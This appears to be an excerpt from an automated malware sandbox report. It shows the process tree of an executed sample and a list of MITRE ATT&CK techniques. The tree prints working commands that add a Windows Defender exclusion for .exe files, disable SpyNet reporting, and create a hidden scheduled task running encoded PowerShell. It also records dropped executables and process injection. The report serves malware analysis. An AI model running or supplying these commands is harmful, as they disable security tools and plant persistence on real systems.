    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
    3⤵
    PID:2876
  - - C:\Windows\SysWOW64\cmd.exe
      /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
      4⤵
      PID:3388
    - - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        5⤵
        
        PID:1856
    - - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        5⤵
        Executes dropped EXE
        
        PID:4976
- - C:\Windows\SysWOW64\forfiles.exe
    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
    3⤵
    PID:1864
  - - C:\Windows\SysWOW64\cmd.exe
      /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
      4⤵
      PID:4728
    - - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        5⤵
        
        PID:2720
    - - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        5⤵
        
        PID:2448
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gdErQiABX" /SC once /ST 03:05:54 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:4888
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gdErQiABX"
    3⤵
    PID:3484

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4776 -s 624
1⤵
- Program crash
PID:3712

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 364 -ip 364
1⤵
PID:1988

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 4776 -ip 4776
1⤵
PID:3136

C:\Users\Admin\Documents\ty3KRhrxyUwGFEtrHrJ96c4I.exe
C:\Users\Admin\Documents\ty3KRhrxyUwGFEtrHrJ96c4I.exe
1⤵
- Executes dropped EXE
PID:396

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3644 -s 440
1⤵
- Program crash
PID:3900

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
1⤵
PID:1832

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 3644 -ip 3644
1⤵
PID:116

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 364 -ip 364
1⤵
PID:3428

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 3644 -ip 3644
1⤵
PID:4204

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 4776 -ip 4776
1⤵
- Executes dropped EXE
PID:3624

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 4688 -ip 4688
1⤵
PID:4116

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 3676 -ip 3676
1⤵
PID:3360

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 4776 -ip 4776
1⤵
PID:3900

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 2348 -ip 2348
1⤵
PID:492

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 4776 -ip 4776
1⤵
PID:2660

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 4776 -ip 4776
1⤵
PID:3004

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 4776 -ip 4776
1⤵
PID:1880

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 4776 -ip 4776
1⤵
PID:1496

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 4776 -ip 4776
1⤵
PID:2212

C:\Windows\SysWOW64\pvsuuvwl\pkzvprpk.exe
C:\Windows\SysWOW64\pvsuuvwl\pkzvprpk.exe /d"C:\Users\Admin\afazxbts.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3004
- C:\Windows\SysWOW64\svchost.exe
  svchost.exe
  2⤵
  PID:2036

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 4776 -ip 4776
1⤵
PID:4244

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 3676 -ip 3676
1⤵
PID:1788

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 3676 -ip 3676
1⤵
PID:1760

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 3676 -ip 3676
1⤵
PID:1296

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:1096

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 3676 -ip 3676
1⤵
PID:1580

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

New Service

T1050

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

New Service

T1050

Scheduled Task

Defense Evasion

Disabling Security Tools

T1089

Install Root Certificate

T1130

Modify Registry

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery